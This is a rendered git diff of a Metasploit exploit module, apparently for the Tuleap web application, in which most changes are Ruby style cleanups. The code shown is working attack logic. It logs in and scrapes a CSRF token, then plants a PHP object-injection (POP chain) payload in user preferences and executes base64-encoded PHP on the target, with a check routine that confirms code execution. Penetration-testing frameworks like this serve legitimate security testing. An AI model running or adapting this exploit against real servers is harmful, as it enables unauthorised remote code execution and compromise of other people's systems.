3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
- require 'msf/core'
7
-
8
6
class MetasploitModule < Msf ::Exploit ::Remote
9
7
Rank = ExcellentRanking
10
8
@@ -42,10 +40,9 @@ def initialize(info = {})
42
40
OptString . new ( 'TARGETURI' , [ true , "The base path to the web application" , "/" ] ) ,
43
41
OptString . new ( 'USERNAME' , [ true , "The username to authenticate with" ] ) ,
44
42
OptString . new ( 'PASSWORD' , [ true , "The password to authenticate with" ] ) ,
45
- OptString . new ( 'AID' , [ false , "The Artifact ID you have access to" , "1" ] ) ,
46
- OptBool . new ( 'SSL' , [ true , "Negotiate SSL for outgoing connections" , true ] ) ,
43
+ OptInt . new ( 'AID' , [ false , "The Artifact ID you have access to" , "1" ] ) ,
47
44
Opt ::RPORT ( 443 )
48
- ] , self . class )
45
+ ] )
49
46
end
50
47
51
48
def setup_popchain ( random_param )
@@ -61,15 +58,15 @@ def setup_popchain(random_param)
61
58
'data' => { 'username' => user , 'password' => pass } . to_json
62
59
} )
63
60
64
- unless res and ( res . code == 201 or res . code == 200 ) and res . body
61
+ unless res && ( res . code == 201 || res . code == 200 ) && res . body
65
62
msg = "Login failed with #{ user } :#{ pass } "
66
63
if $is_check then print_error ( msg ) end
67
64
fail_with ( Failure ::NoAccess , msg )
68
65
end
69
66
70
67
body = JSON . parse ( res . body )
71
- uid = body [ 'user_id' ] ;
72
- token = body [ 'token' ] ;
68
+ uid = body [ 'user_id' ]
69
+ token = body [ 'token' ]
73
70
74
71
print_good ( "Login successful with #{ user } :#{ pass } " )
75
72
print_status ( "Updating user preference with POP chain string..." )
@@ -95,22 +92,22 @@ def setup_popchain(random_param)
95
92
'data' => pref . to_json
96
93
} )
97
94
98
- unless res and res . code == 200
95
+ unless res && res . code == 200
99
96
msg = "Something went wrong"
100
97
if $is_check then print_error ( msg ) end
101
98
fail_with ( Failure ::UnexpectedReply , msg )
102
99
end
103
100
end
104
101
105
- def do_login ( )
102
+ def do_login
106
103
print_status ( "Retrieving the CSRF token for login..." )
107
104
108
105
res = send_request_cgi ( {
109
106
'method' => 'GET' ,
110
107
'uri' => normalize_uri ( target_uri . path , 'account/login.php' )
111
108
} )
112
109
113
- if res and res . code == 200 and res . body and res . get_cookies
110
+ if res && res . code == 200 && res . body && res . get_cookies
114
111
if res . body =~ /name="challenge" value="(\w +)">/
115
112
csrf_token = $1
116
113
print_good ( "CSRF token: #{ csrf_token } " )
@@ -133,7 +130,7 @@ def do_login()
133
130
'vars_post' => { 'form_loginname' => user , 'form_pw' => pass , 'challenge' => csrf_token }
134
131
} )
135
132
136
- unless res and res . code == 302
133
+ unless res && res . code == 302
137
134
msg = "Login failed with #{ user } :#{ pass } "
138
135
if $is_check then print_error ( msg ) end
139
136
fail_with ( Failure ::NoAccess , msg )
@@ -158,7 +155,7 @@ def exec_php(php_code)
158
155
'vars_post' => { random_param => Rex ::Text . encode_base64 ( php_code ) }
159
156
} )
160
157
161
- if res and res . code == 200 and res . body =~ /Exiting with Error/
158
+ if res && res . code == 200 && res . body =~ /Exiting with Error/
162
159
msg = "No access to Artifact ID #{ datastore [ 'AID' ] } "
163
160
$is_check ? print_error ( msg ) : fail_with ( Failure ::NoAccess , msg )
164
161
end
@@ -171,9 +168,9 @@ def check
171
168
flag = rand_text_alpha ( rand ( 10 ) +20 )
172
169
res = exec_php ( "print '#{ flag } ';" )
173
170
174
- if res and res . code == 200 and res . body =~ /#{ flag } /
171
+ if res && res . code == 200 && res . body =~ /#{ flag } /
175
172
return Exploit ::CheckCode ::Vulnerable
176
- elsif res and res . body =~ /Exiting with Error/
173
+ elsif res && res . body =~ /Exiting with Error/
177
174
return Exploit ::CheckCode ::Unknown
178
175
end
179
176
0 commit comments